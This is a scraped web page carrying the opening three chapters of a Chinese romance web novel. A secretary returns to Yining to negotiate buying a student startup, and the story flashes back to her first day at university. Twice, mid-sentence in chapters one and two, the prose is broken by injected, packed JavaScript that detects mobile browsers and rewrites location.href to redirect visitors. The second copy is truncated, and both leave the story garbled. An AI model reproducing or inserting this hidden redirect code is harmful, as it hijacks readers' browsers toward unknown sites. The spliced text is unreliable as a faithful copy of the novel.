《在你遗忘之前》 1. 弟弟 舒澄从机场出来,被宜宁的冷空气打得浑身寒颤。 她裹紧毛呢大衣,庆幸出发前戴了一条装饰用的围巾,此刻能起到保暖的作用。 多年没回,都快忘记宜宁的冬天这么冷。 风卷着空气里的冷直往人脸上割。 她把脸又往围巾里埋了埋。 这时一个小麦肤色,留着平寸头的男生小跑过来。 路过舒澄时放慢了步子,回退打量几眼,小心开口询问:“请问,是舒秘书吗?” 舒澄把嘴巴露出来,“是我。” “你是,陈垣?” 陈垣:“是的舒秘书,我的车停在那边,您跟我走吧。” 陈垣不动声色打量这位被自己组长整天挂在嘴边的舒澄。 智想集团老板手下最厉害的秘书。 集团老板邓曲,业内出了名的难搞。 而且是各种层面上的难搞。 他一个人的秘书团队就有十五人。 舒澄在其中,入职时间虽然不是最长,但升职速度最快。 年仅26岁已经成为邓曲团队的秘书长。 组长曾不止一次提到这位舒秘书,说她是他见过最拼命的人。 就是拼命。 很难想象自己组长一个四十多岁在职场里沉浮二十多年的老男人,居然会用拼命来形容一个26岁的女生。 他以为,这位舒秘书会梳着公司一丝不苟的低发髻,脸上带着厚重的黑框眼镜。 也许穿着咖色长款羽绒服将自己从头包裹到脚,里面是常年不变的黑色西装制服。 但眼前这位舒秘书,跟陈垣预想中的样子很不一样。 及腰的黑色卷发,并不风情。 脸上素白,没有妆容装饰,却不寡淡。 唯一可以称作装饰的东西就是鼻梁上那副细细的金丝眼镜,一双杏眼在镜片后时不时轻眨,带动乌羽般的睫毛上下翩动。 她穿着一袭灰色过膝毛呢大衣,围着黑白格子得围巾。虽是长途飞行,身上却没有一点褶皱。 这哪里像什么秘书长,更像是大学里的系花。 身边的目光停在自己身上太久,舒澄对上他的视线,“怎么了?” 陈垣方回神,反应过来自己盯着人家看了太久,忙道歉,“呃……舒秘书,您的行李呢?”他还不敢当面直接说你跟我想的不太一样,随便捡了个借口。 舒澄礼貌笑笑,“我提前寄过来了,只拎了一个包。” 说着,她捏了一下肩上的老花背带。 陈垣:“听组长说,您也是宜宁人?” 舒澄一愣。 倒是很久没人这么问过她了。 因为工作的缘故这几年都在国外,面对询问时她更多回复一句China。 她摇头,“只是大学在宜宁。” 上车后,陈垣注意到舒澄身上单薄的大衣,开了热风。 舒澄礼貌道谢。 这到叫陈垣不好意思了,他一边发动车子,一边继续跟舒澄搭话,“您这次来,是为了咱们公司跟享意科技的合作吗?” “嗯。” 舒澄本次来宜宁,就是为了智想跟享意的合作。 享意科技的创始人,是宜宁大学在校生。 据说今年才大四。 一个人带着不到二十人的小团队,在天使路演里杀出重围,成为了今年最大的黑马。 邓曲对这个由还没毕业的大学生创办的科技公司充满兴趣,这次派她来,就是打着合作的名义来谈判收购。 此时,舒澄的手里就有一份邓曲专门给这位享意科技创始人的聘用合同。 上面丰厚的酬劳,就连舒澄看了都要咂舌。 邓曲对于人才,向来都是一掷千金,毫不吝啬。 原本是不需要舒澄亲自来,她的业务重心从去年开始都跟着邓曲在美国。 但邓曲得知这个团队创始人跟她同校,也是宜宁大学。再加上她前几个月刚漂亮的完结了一个难啃的收购案,所以邓曲大手一挥,她就被派到了宜宁。 “你的小学弟呀,老美那么奸诈的史蒂夫都被你折服,这一个没进社会的臭小子更不在话下,去吧,谈成了我给你一个月带薪休假,外加2%的奖金。” 这是邓曲原话。 不过舒澄十分清醒,带薪休假?不可能的。 对于邓曲这种领导,只相信他给出的奖金承诺就可以,休息从来都是画大饼。 舒澄面对这种大饼,已经能够很好的做到无视,并且在心里暗戳戳呸一口。 陈垣见舒澄面露疲惫,识趣地闭上嘴,安静开车。 舒澄将头靠在车窗旁,看着窗外熟悉又陌生的景色。 宜宁么。 终于回来了。 环卫车靠在路边缓慢清扫地上的积雪,人行路上有带着某某大学志愿袖标的学生们在一起帮忙清扫。 她想到享意科技的创始人。 一个大四的小学弟。 既然是学生,应该会比美国的收购案容易一些吧。 毕竟,邓曲给出的条件真挺丰厚。 而且,智想集团作为一个全球Top500的企业,应该没有人会拒绝这个橄榄枝。 就算他拒绝,他团队里的其他小伙伴呢? 在金钱之下,什么情谊,都很脆弱。 想到这,她的心情稍轻松一些。 应该……会挺容易结束的吧。 回到酒店,舒澄先打开暖风将风速调成最大,将房间吹暖,然后去洗了一个热水澡。 来时她没给邓曲省钱,买了商务舱。那也架不住二十多个小时的飞行,浑身又酸又硬。 洗澡时,外面手机消息响个不停。 时差存在,按理说现在美国办事处应该没在上班。 虽这么想,她还是加快了洗澡的速度,到最后身体乳也没涂,走到床边将手机拿起。 不是工作群。 而是黄丹给她发来了消息。 一心教子:【你舅妈家彤彤,下周结婚,你回不回来?】 舒澄看着这条消息,停顿数秒。 她按灭屏幕,将手机扔回原位,回到浴室吹头发。 吹完头发,想到明天要见享意科技的学弟,她找出这次出差带的唯一一片前男友面膜。 用校友的身份套近乎归套近乎,第一印象还是要留好,不能太灰头土脸。 敷好面膜,舒澄躺在床上,浏览工作邮件。 她将需要回复的内容都编辑好,设置定时发送。 之前不小心半夜回复了客户邮件,被人家举报到邓曲面前,说自己打扰他的私人时间。 有时候舒澄真的很嫉妒这些外国人工作中的松弛感。 尤其当自己加班加成狗的时候。 确定没有漏下没解决的工作后,她这才点开其他软件,短暂放松一下。 微信弹出一条消息。 她以为是黄丹又说了什么,没理。 叮—— 叮—— 叮—— 连着弹出三条。 黄丹一般不会给她发这么多消息。 舒澄点开微信,这次是段斐发来的消息。 斐乐:【澄子,你是不是已经落地了?】 斐乐:【越想越气啊,怎么偏偏我出国的时候你回国?】 斐乐:【这次呆多久啊?】 段斐是舒澄大学时的室友,跟她同岁。 小姑娘家庭条件不错,性格也好。这些年舒澄虽然不在国内发展,但两个人的联系没断。时不时会聊几句。 虽不及当年大学时关系亲密,但对于舒澄来说也很好。 澄子:【到酒店啦。】 澄子:【要看工作顺利情况,大概几个月要的。】 斐乐:【太好了,那咱俩能在宜宁碰面。】 斐乐:【怎么样,还习惯宜宁的气候吗?我走的时候宜宁下了好大的一场雪,估计现在冷得要死。】 澄子:【别提了,我在淘宝买了好多快递,结果都还没到,现在身上最后的衣服就是一件呢子大衣。】 澄子:【现在正躺在被窝不敢出门。】 斐乐:【笑死。】 斐乐:【下雪天宜宁这边的物流会慢一点。】 斐乐:【要不我让我弟把我的衣服给你送过去?】 澄子:【算了,不麻烦弟弟。我明天出门打车,见完客户结束后就去商场买。】 斐乐:【他麻烦个屁,我看他最近身上都快长蘑菇了吧。】 段斐知道舒澄的性格,既然她拒绝了也就没再提,转而讲到了其他事情上。 说了没一会儿,她说朋友叫她去喝酒。 舒澄祝她玩得开心。 脸上的面膜敷的差不多,她揭下,到卫生间仔细洗掉残存的精华液。 段斐的弟弟,也是宜宁大学的学生。 算算时间,今年应该也大四了。 她的脑海里浮现出那个身影。 时间过得真快。 竟然段斐的弟弟都要毕业了。 - 跟对方约的时间是上午十点半。 舒澄提前十五分钟到达约定地点。 这次会面在宜宁的创业园区,是当地政府为了鼓励创业而创办的园区。 里面都是刚起步的小公司。 A-1021并不难找,就在园区进门左手边第一栋。 舒澄在前台的指引下上到10层,跟想象的一排小公司集合间不同,看格局似乎划分了左右两半,中间是公用的一个规模较大的茶水间。 上面咖啡、花茶、冰淇淋应有尽有。 办公环境很好。 舒澄感叹这几年宜宁市的发展真快,她当年读大学的时候,可没有这种政策和待遇。 她顺着指示来到享意科技的区域。 开放式的办公环境,有些凌乱。 看起来似乎前一晚刚有人通宵过。 一个男生背对着舒澄的方向,在VR设备前拿着手柄东躲西藏。 舒澄知道他可能是在测试内容,但还是被他滑稽的动作逗得弯起嘴角。 这时,一个女生端着咖啡走过来。 “我说汤圆,你能不能把工位收拾一下?一会儿智想的人就要过来了。” “急什么?”被称作汤圆的男生,也就是在测试VR的这个人回道,“会议室我都收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143844|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾好了,一会儿让老大在里面跟她见面就行了,那桌子我擦的叫一尘不染。” “你光擦会议室有什么用?人家一进来看到里面这么乱说不定就不合作了。赶紧别玩了过来跟我一起收拾一下,这都10:18了。”女生撂下咖啡杯。 男生摘下VR眼镜,“怕啥,老大这么牛逼别人怎么会因为办公室乱就不跟咱们合作?” “再说了。”男生从VR区下来,拿起女生放在桌上的咖啡喝了一口,砸砸嘴,“咱们大学生创业,主打的那就是一个松弛!” 舒澄轻笑出声。 前面的二人闻声回头,被突然出现的人吓了一跳。 女生率先回神,冲舒澄挥了挥手,先开口:“你好,你找哪位?” 舒澄从口袋里拿出事先准备好的名片,学着女生打招呼的动作,“你好,我是智想集团的舒澄,澄清的澄。” !!! 二人脸色从红变白又变红。 肉眼可见慌张。 女生三步并两步上前,“你好你好,你就是智想集团的人呀,我叫方曼,你叫我方方就可以。” 男生则迅速收拾起桌面上的文件,动作快到出残影。 舒澄随和笑道:“不用太紧张,刚才这个…嗯,汤圆?说的我很认同,松弛是大学生身上很难得的品质,我也很喜欢。” 听到被que,男生飞跑过来,“姐姐好,我叫汤原,平原的原,平时他们都叫我汤圆。” “好的,汤圆同学,我也可以这么叫你吧?” 舒澄对自己在别人那里建立良好的第一印象上很有信心,只要她想,别人很容易会对她产生好感。 汤原脸红了,他咳嗽了一下,“当然可以。” 安渝看着他刚收拾出来的一角,“那我坐在这里,可以吗?” 方方:“您不去会议室吗?” “这里就挺好的。”舒澄道,“桌上还有玫瑰花,我很喜欢。” 玫瑰是方方在学校花店顺手买的,这群臭男生不懂得欣赏,总说她浪费钱,不如买点咖啡。 终于得到了肯定,她心里对这个叫舒澄的漂亮姐姐产生了很多好感,“好的好的,那您先坐这。” 舒澄选了一个靠窗的沙发坐下,从包里拿出工作ipad处理消息。 散发出你们两个可以先忙自己不用管我的信号。 不一会儿,方方端着一杯咖啡过来,“公司只剩下拿铁了,不知道您喜不喜欢。” 舒澄:“谢谢。” 方方:“我们老大马上就到,五分钟。” 舒澄看了眼手表,五分钟以后是10:25。 这位享意的创始人,也是一个准时的人。 她抬头对方方笑着说,“好的,我来的有点早,给你们添麻烦了。” 方方忙摆手,“没有没有。” 她悄悄打量这位智想集团的人。 然后默默退到不远处,拿出手机在群里发了一条消息。 方方:【@DX,报告老大,来的是一个漂亮姐姐。】 齐琢成不成:【3分钟,马上到园区了。来的时候有个环卫车倒了,耽搁了点时间。】 齐琢成不成:【给人点喝的,别叫人干等。】 方方:【端了一杯咖啡,美女姐姐人超级好。】 齐琢成不成:【汤圆不是在公司吗,平时话那么多,让他跟智想的人聊一下先。】 没等方方回复,齐琢成的消息就过来了。 齐琢成不成:【老大说算了。我们进车库了,马上。】 汤圆:【什么叫算了?齐琢成你说清楚一点。我口条利索得很!】 齐琢成不成:【不是我说的,老大说的,他开车不方便让我转述一下。】 汤圆:【信你个鬼,你上来以后B区见,看小爷我把你虐的求饶!】 齐琢成不成:【辣鸡。】 DX:【都很闲?】 群内顿时安静如鸡。 DX:【@方方,人在哪?】 方方:【在自由办公区的小沙发坐着,穿着灰色毛呢大衣的那位!】 方方:【不过现在咱们这片就我跟汤圆,剩下的那位就是美女姐姐啦。】 DX:【ok】 叮—— 电梯门打开。 汤圆满脸通红站在电梯口,见到自家老大以后仿若看见救星般松了口气。 他伸手指了指斜后方落地窗前的身影,用口型说,“老大,就是她。” 出息。 男人嗤笑。 待汤圆移开身体,坐在落地窗旁的身影因此完整地显露出来。 那人墨色卷发如瀑,戴着金丝框眼镜。 皮肤瓷白,气质清丽。 他的脚步微顿。 舒澄闻声抬头,看见一位身材修长的男生停在不远处。 来人碎发轻遮额角,眼梢微挑眸光流转含情,眉目间俊美之色难掩。 他身着灰色宽松卫衣,深色长裤。臂弯处搭着黑色外套。很明显的学生打扮。 男人瞧出她神色里的愣怔,蓦地扯起唇角,声音里透着一股冷。 “好久不见。” “姐姐。” 2. 弟弟 宜宁2017年的夏天,很热。 明明是九月秋高气爽的天气,温度却持续飙升。迎新台学生会的成员纷纷脱掉制服外套,采购的冰水被一抢而空。 大家凑在遮阳伞的阴影下,一边用手扇风,一边狂骂这不长眼的天气。 “这么好的日子,怎么不放在新生军训的时候?!” “我要化了啊。” 不知道谁看到了场上已经有学院开始收工,“我靠?那是哪个院啊,怎么这么早就收工了?” “考古系的,他们第一天上午就齐了,现在是过来帮忙的吧。” 喧闹的迎新台突然沉默下来。 空气里弥漫着赤.裸.裸的嫉妒,大家平时嘲笑考古整个系的学生站在一块都不如他们院里的老师多,现在被拼命反杀。 人少有人少的好处啊! 宜大王牌计算机系的全体学生会成员默默流下悔恨的眼泪。 午后。 温度已经高达三十三度,这个温度在宜宁整个夏天都不常见,何况九月。 大热天,室外,学生们怨声载道,计算机系有胆子大的学生给导员打了电话。三十分钟以后,一辆载满冰饮的三轮车驶进场内。 累死累活迎了三天新生的计算机系同学立刻又笑开了花。 有得瑟的,拿冰饮跑到其他学院前面炫耀,被整个人拖进迎新台后面。 场面太残忍,新生们哪里见到过这种场面,犹豫着不敢靠近,捏着录取通知书瑟瑟发抖。 “给你一杯。”计算机系的一位男生拿了一杯多余的冰饮放到隔壁心理系桌上。 相比计算机系开屏一样的迎新台,旁边心理系的就显得朴素了很多。 也只有一个纤瘦的女生留守。 女生受宠若惊,擦着鼻尖上的汗道谢。 男生看了一眼她面前的登记名册,“你们系还差几个人?” “还有三个。”女生道,“不过有一个人已经提前联系学校说要出国,所以还剩两个人。” “两个人应该很快,我们院还有一百多人呢。” “那还能登记完了吗?” “不清楚啊。实在不行只能延期了吧,去年也是延期了。” 后面有人叫了一声男生的名字,男生回头答应,就跑回同伴身边帮新生搬运行李。 … 去送新的同学回到位置,查看名册,看到还有两个人就可以收工后,感动的不行。 结果,就这两位他们等到四点半还没出现。 迎新广场的学院已经收了一半,只剩下大热学院和心理系依旧□□在原地。 “怎么还有两个?都四点多了,这两个人还要不要读了?”有人等了半天,熬不住抱怨。 其他几人也纷纷应和,说这届学生素质真差,还真踩点过来报道。当他们的时间都是白来的? 就在这时,一个拉着米白色行李箱的女生走到迎新台前。 “请问,心理学院是在这里登记吗?” 上一秒还在抱怨的人一抬头看见一个唇红齿白的漂亮妹妹,怒气立马消失了大半,“叫什么?” “段斐。” 送新的人跟着段斐离开,身后有人咂舌,“这学妹有钱啊。” “何以见得?” “那行李箱,九千八一个。” “她穿那双鞋,八千。” 这是个富二代。 还是个好看的富二代。 心理系的系花可能要换人了。 这是大家很有默契得出的结论。 今年新生登记的截止时间是五点,心理系最后一位仍然没到。 眼看着其他学院一个个收工,就连旁边的计算机专业也迎接到最后一位新生开始喜气洋洋搬桌椅板凳。今年难得不用延期,他们一行七八个人护送着最后一位学妹,那叫一开心。 有人开口抱怨,“最后一位是什么情况啊?这么多人等她一个。” “还有最后五分钟,再等等吧。” “说好了,五点一到立刻收工,让她明天自己去教导处找老师解释情况签文件吧。” “行。” 四点五十八分。 校园里出现了一个拖着行李箱奔跑的身影。 她背着一个很大的包袱,跑起来的速度却惊人的快。 有人瞟到那个身影,“是不是那个人啊?” “她是要去参军啊?” 此话一出,大家纷纷笑出声。 抱着看热闹的心态,都将视线落在跑过来的那个人身上。 没让他们失望,来人正是心理系最后一位新生。 女生一头齐耳短发,额头脸侧的发丝都被汗水打湿,一缕一缕贴在皮肤上。 看起来有些狼狈和邋遢。 还没等大家看清楚她长什么样子,她就立刻弯下腰喘气。 一副累得不轻的样子。 正因她弯着腰,大家得以看到原来被她背在身后的巨大包袱,是一床被困成麻花的被子。 还真是——来参军。 “我,我来报道。”新生终于在剧烈的奔跑下缓过来。 新生戴着一副黑框眼镜,很老土的款式。 镜框宽而大,镜片污浊而厚,上面被热气蒸出一片水雾。 镜托时不时在汗水浸湿下滑落鼻梁,她伸手推回。 如此反复数次,不厌其烦。 大家你看看我,我看看你。 一时没人说话。 “咳。”有人咳嗽一声,打破安静。 “名字?” “舒澄。” 原来她就是舒澄。 宜宁大学心理系是一个很冷门的专业,里面的学生十个里有十一个都是分数刚刚碰上宜大录取线,不想滑档点了服从调剂被调剂过来的。 但今年有个例外。 新生里有一位的分数线,超了宜大心理系三十分。 什么概念。 除了宜大王牌计算机系,这所国内顶尖大学的所有专业她可以随意挑。 但这个人,只报了心理系。 就是舒澄。 大家都对这位舒澄十分好奇。 却不想,竟是这样一位女生。 短发、削瘦。 满头大汗,油光满面。嘴巴张着毫无形象地喘粗气。用不修篇幅四个字来形容都算委婉。 厚重的镜片和水雾叫人看不清她到底长什么样子,但将她从头到脚打量一番,土气的衣服,土气的裤子,土气的鞋子,也叫人没了想要探寻的欲望。 登记完相关信息,负责拎行李的学长不情不愿出来。 还不忘回头用口型骂推他出来的损友。 他要去拎舒澄的行李箱,却发现那个箱子的一只轮子几乎是挂在箱体上,风一吹就能够掉下来。 缺了一个轮子? 这让他怎么拎?生拎吗? 学长看了眼舒澄背着的被子,又大又沉。 这个破掉的行李箱,看起来没轻多少。 里面估计塞满了破破烂烂的瓶瓶罐罐没准还有锅碗瓢盆。 让他拎着跨过大半个校园给她送到女寝,还不把他累死? 没等他找借口,舒澄先开口,“学长,麻烦你帮忙带路就可以。” 学长求之不得,二话不说答应。 他一个人在前面走的飞快,只时不时回头看一眼,保证那个背着被子来报道的女生别落太远找不到影就可以。 舒澄什么都没说,这个不知道几手的破行李箱在下地铁跑过来时被石头硌了一下就坏掉了。 拉不了她就拎,拎不动她就把箱子用完好的那两只轮子拉着走。 坏掉的轮子刚好是拉手那一侧,即便后面的两个轮子完好,拉起来因为行李箱大头朝下坠着,双手也又酸又痛。 但她没有求助,而是一声不吭跟紧前面带路的学长。 让自己不被落下太远。 到了寝室楼下,学长交待完舒澄的楼层和寝室号就像完成了什么非常为难的任务一样,如释重负迫不及待离开。 宜大的女寝有电梯。 她拉着行李打算坐电梯,却发现要刷卡。她又拖着箱子出来,询问寝室阿姨要怎么才能刷电梯。 寝室阿姨瞅瞅她,“你是今天报到的新生?” “是的。” “用你报道的时候领的校园卡就可以。”寝室阿姨狐疑地看她一眼,“但你们新生的校园卡权限还没激活,怎么没学生会送新的送你来?这几天学生会迎新,学校给他们发了可以通用刷的电梯卡。” 竟然是这样。 舒澄:“我不知道。” “你不知道,他们也不跟你说吗?”寝室阿姨语气疑惑,怎么可能有人送新不给刷电梯卡的? 她翻出新生花名册,厚厚一本,“你寝室号多少?” “12层,1221。” 阿姨手指沾着口水,将册子翻到12层,找到1221,“叫什么名字?” “舒澄。” “哪两个字。” “舒适的舒,澄清的澄。” 寝室阿姨嗯?了一声,“不对吧。” “你是舒橙本人?” 舒澄:“我是本人。” 寝室阿姨将名册推过来,指着其中某处,“我这里登记的信息是‘舒橙’,橙子的橙,名字对不上,不能让你进去。” 舒澄凑近看过去,1221的寝室平面图,4号床的名字‘舒橙’赫然在上,还是加粗版本。 但下面的个人信息,学号、身份证号却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒澄拨过去,尽量精简的将情况又重复了一遍,导员是位女性,听起来声音不算年轻,但很温和。她安抚舒澄的情绪,让她把电话给寝室阿姨。 寝室阿姨接过手机,走到门口对着手机嗯嗯,对,对地说了一阵,回过来将手机递还给舒澄,“韩导员还有话要跟你说。” 舒澄把手机放在耳边,还不太习惯将班主任这三个字换成辅导员,所以说出口时有些涩口,“辅导员。” 韩育笑着说:“你就是那个超了系里录取线三十多分的舒澄?” 舒澄对宜大心理系的录取线很清楚,她自己的分是要比往年高很多。 但她还不清楚这个分数在心理系到底是怎样一个情况。 所以在辅导员问她的时候,她有点没反应过来。 短短几句交谈,韩育发现这孩子很内收,她也不想吓到她,反正是自己的学生,来日方长,“小姑娘,挺不错的,好好学。” “不过,我还有点好奇,你为什么会选心理系?” 舒澄握紧手机,“心理学,是我的梦想。” 梦想。 韩育多少年没在系里听说过这种话了。 宜大虽是Top级的综合院校,但实际重理。 心理系在宜大像是个点缀,也是每年学生报考时一键服从调剂下的选项。 这些年心理系收了太多调剂过来的考生,简直要变成第二个马克思主义学院了。 当然,她没有瞧不起马克思学院的意思。 只是大家都心照不宣这个学院的别名——调剂学院。 她对这个素未蒙面的舒澄多了几分好感,“好,宜大会帮你实现理想。” 舒澄:“……谢谢您。” “好了,是不是在楼下等半天了?我跟寝室阿姨说好了,应该是生活部那帮孩子做名册的时候打错字了,到时候让她改过来。” 电话挂断后,寝室阿姨在舒澄面前将名册上的橙左偏旁的“木”用圆珠笔加粗加大的“氵”覆盖。她帮忙刷了电梯,按下12层。见舒澄连梯控的存在都不知道,多嘴提醒了一句,“你学费打到银行卡里了吗?” 舒澄:“……还没。” 就知道,多亏自己提了一嘴。 寝室阿姨道:“你们新生的学生卡得等学费划走的十二小时后激活,所以得赶紧让你家长把学费存进去,不然过了时间你还要自己拿学生卡去教务处激活。” “宜大用学生卡的地方太多了,没激活不方便。” 舒澄点点手,手握住肩上的背带。 电梯门缓缓合上。 宜宁大学喜迎2017级新生的海报随着电梯门关闭而出现。 舒澄看着上面宜宁大学的百年校徽,眼前变得模糊。 宜宁大学,她终于来到了这里。 3. 弟弟 寝室门开着,动感十足的音乐声从里面传来。 舒澄拎着行李箱进门。 叶从容正敷着面膜半躺在椅子里,一双腿高高地搭在柜门,她闭着眼睛欣赏本命的新专,一睁眼,被突然出现在门口的舒澄吓了一跳。 精华液丰富的面膜瞬间滑掉一半,她赶忙将膜布重新贴回,“你找哪位?” 舒澄:“我是4床。” “啊啊。”叶从容站起来,“你就是舒橙?你好我叫叶从容,17级心理系的,住1床,你斜对面。” 舒澄点点头,拎着箱子从她身边路过。 叶从容得以看见她后背背着的被子,嘴巴下意识张大,难掩惊讶:“要帮忙吗?” 舒澄:“不用,谢谢。” 新室友好像有点冷漠。 叶从容开始为以后的女寝生涯担忧。 这个寝室,一个富二代小姐,一个玄学重度迷,一个追星粉,现在又来一个冷漠女。 她打赌,不超过一个月,四个人的寝室就能搞出八个群。 八个就八个吧,她叶从容要成为加群最多的那个! 舒澄将彻底废掉的行李箱放在地上,又将肩上的被子卸下来。 背了这么久,肩膀被勒出一道很深的痕迹,像是要被切开。 她将被子外面的绑带解开,开始铺床。 舒澄整理床铺的动作很利索,她先从行李箱里找出一条旧毛巾,去卫生间浸湿,将床铺擦干净。然后铺上褥子,床单,厚重的被子一铺,一卷就被塞进被罩里,最后抚平褶皱。整套动作下来,也不过五分钟。 舒澄从楼梯上下来,看到从寝室门口到自己的行李箱旁有一道很明显的黑色印记,是自己进屋时带进来的污迹。 她有几分无措,“地下,我一会儿收拾完就打扫。” 叶从容意识到她在跟自己说话,“哦,哦没事。” 还知道主动打扫,可能也没有那么难相处? 有了舒澄先开口,叶从容的话匣子也打开了,“咱们寝室另外两个女生不在,一会儿回来。” “嗯。” “诶你怎么不去超市买一个床垫?宜大的床特别硬,你那两条褥子太薄了,估计晚上睡觉会很硌。” “没事。”舒澄没说,比这更硬的床板她都睡过。宜大的宿舍宽敞,上床下桌,中间还有公共长桌,独立卫浴,露天阳台。已经,非常非常好了。她将行李箱隔层的拉链拉开,叶从容这才看到硕大的行李箱里,居然放了一大半关于心理学的书,衣服只占了很小一部分。 没有衣挂,舒澄将衣服叠起放在柜子里。全部收拾完,柜子的十分之一都没有被占满。反而是那些书,几乎要放满了桌架。 整理完衣柜,舒澄将地面拖得比一开始还要干净。她看着一角轮子完全碎裂的行李箱,犹豫了片刻,还是没舍得扔,也许以后可以装点别的东西。 全部收拾好后,舒澄坐在椅子里,看着这张即将伴随自己四年的桌子,终于露出今天第一个笑。 想起什么,她拿出一支笔,站起身。 果然床铺上面的名牌,写着舒橙两个字。 她将名牌取下,用圆珠笔将橙的偏旁改对,又放回原位。 - 寝室另外两个女生回来时,舒澄正坐在桌前读书。 四个人聚齐,难免要做自我介绍,互相认识一番。 黑衣黑裙黑鞋黑头发重度玄学爱好者陈小雨。 一天不追星就会死的叶从容。 介绍完自己名字就让斐乐打钱的段斐。 舒澄在三道视线下开口:“舒澄。”她停住几秒,补了一句,“澄清的澄。” 陈小雨拍了拍黑色的斜挎包,“给你算一卦?我刚才给段斐和叶从容都算了。” 介绍完自己,舒澄重新坐回位置,语气中带着想要结束话题的意思:“不用了,谢谢。” 寝室内的氛围因她如此直白拒绝而凝滞了一瞬。 舒澄察觉到了,但她没有心思去维系。 寝室,一个睡觉的地方而已,只要她不打扰到别人作息,做好份内的清扫工作就可以。 至于人际交往,没有学习重要。 而且,一段关系是好是坏,并不会因为她一味迎合而有什么改变。 这一点她很小的时候就已经知道了,且深有体会。 剩下三人,一个比陈小雨还尴尬回到位置继续看综艺听专辑。 一个毫不在意继续玩手机,另一个则掏出卡牌给自己前途未卜的寝室关系算了一卦。 … 熄灯后。 舒澄躺在床上,看着漆黑一片的天花板,内心流动着一股淡淡的、奇异的情绪。 睡不着。 同样睡不着的,还有叶从容。 她在床上翻来覆去烙饼一样换了无数个姿势,犹豫再三,小声问:“大家都睡了吗?” “没。”最先回应的是段斐。 其次是陈小雨。 舒澄:“还没。” “太好了!”叶从容盘腿坐起来,“咱们要不要来一个寝室夜聊啊。我第一次不在家睡,好不习惯,这个床太窄了。” 段斐:“聊什么?” 叶从容八卦道:“你们,有男朋友吗?” 段斐:“男人只会影响我拔刀的速度。” 叶从容:“从你的语气里,我听说你对男性深深的痛恨,能采访一下是为什么吗?” 段斐:“你独生女吧?” 叶从容:“你怎么知道?” 段斐:“你要是有一个弟弟,就能理解我了。” “天呐。”叶从容眼里露出兴奋的光芒,“你有弟弟?你长这么好看你弟应该很帅吧?” 陈小雨默默坐起来,竖直耳朵,“你要说这个,我可就不困了。” 段斐察觉到两个人的兴奋,桀笑道:“长得确实不赖。” “介绍认识认识呀。”叶从容抱着玩偶道。 段斐:“你家哥哥呢?” “哥哥不会怪我的。”叶从容摆摆手,短暂地将本命放在脑后,“是你亲弟弟吗?” 她脸上的笑容在听到段斐下一句话时,顷刻崩裂。 “今年16。” “16?”她傻眼,“小屁孩一个啊,今年才上高一?”高一,听起来好像还可以,但是算算时间不是就是一个刚结束中考的小男生吗! 段斐被小屁孩三个字逗笑。 想想弟弟听到这个形容后的臭脸,心里就是,很爽,“嗯,高一。” “算了。”叶从容躺回去,心里所有的激情和澎湃在听到16岁以后化为一滩老僧入定般的死水。 陈小雨也默默躺倒。 段斐笑出声,“别呀,现在16,四年之后他就20了啊。” 叶从容:“那等他20再说吧。” 段斐:“行,给你留着。” 这么一打岔,寝室内氛围更加融洽。 舒澄静静地听着其他三个人讲自己生活中的八卦,脸上不自觉挂上一抹自己都未发觉的浅笑。 她听着叶从容讲自己飞到澳门看演唱会时遇到一个站起来挥舞荧光棒的情侣,听着她声情并茂讲述自己是怎么狠狠教育了那对情侣获得了周围人一片掌声。 逐渐失去意识,陷入睡眠。 有人注意到4号床传来悠长的呼吸声,大家压低声音,互道晚安。 次日,舒澄起得很早。 睁开眼睛时,外面的天还蒙蒙亮。 寝室窗帘遮光很差,但此刻房间内还是暗沉沉的。 这是她第一次不需要担心会有人突然闯进自己房间的第一个睡眠,感觉很不错。 多年养成的生物钟使然,她没再睡过去,在床上看了眼手机上的时间,还不到七点。 她放慢动作悄悄下床,到卫生间尽量小声音的洗漱完,换上短袖牛仔裤,到楼下吃饭。 宜大食堂是全国出名的实惠,一碗光面只要1.5元,过桥米线3元,红烧牛肉面3.5元。 校园卡还没激活,学校贴心的放出了收款码,也短暂允许各窗口收取现金。 舒澄点了一碗光面,两个猪肉包子,一碗小米粥,一共才花了2.5元。 她端着满满当当的托盘找了个空位坐下,看着量大便宜的早餐,心想大学这四年看来是饿不死。 拿起热腾腾的包子咬了一口,里面猪肉馅的料汁淌了下来,肉香味很浓。 不比外面的早餐店差。 以前高中时听说宜大食堂物美价廉,今天总算切身体会到了。 据说,宜大的校长就是从穷山区考出来的,他读大学的时候每顿只能去买馒头,碰到寝室同学吃完的方便面,才能就着里面剩下的汤将馒头硬噎下去。所以他当了校长以后,要做的就是希望所有考上宜大的学生,不管在外面怎么样,最起码在学校里可以吃饱饭,不挨饿。 第一口还没咽下去,舒澄立刻咬了第二口,腮帮子被撑鼓,她端起小米粥喝了一大口。 她夹起面条的时候,瞥到斜对面餐桌旁的女生目瞪口呆地看着自己。 没理,继续低头大口大口吃着自己的早饭。她知道,自己现在的吃相称不上雅观,甚至说难听了像饿死鬼投胎。 但十几年养成的习惯,想改,很难。 哪怕她现在一个人坐在这张桌子上,面前琳琅满目的早餐都是她一个人的,她心里还是会担心会不会有一只手将自己盘子里剩下的那只包子拿走,会不会有人将自己没喝完的小米粥倒回锅里嘴上骂着催自己下桌。 这种担忧促使她越吃越快,越咬越大口。 来宜大的第一顿早饭,她吃的很撑。 吃完以后,才七点零几分。 估计回去室友们还没起,舒澄打算去宜大图书馆看一看。宜大图书馆里的藏书比宜宁市图书馆里的藏书丰富很多,里面还有一些已经绝版的书籍。 而且,图书馆是24h不闭馆,这也是它的一大特色。 舒澄跟着路牌来到图书馆,虽早在网络上看到过宜大图书馆的照片,但当真正站在它面前时,舒澄仍被它透露出的古朴气质深深震撼了。 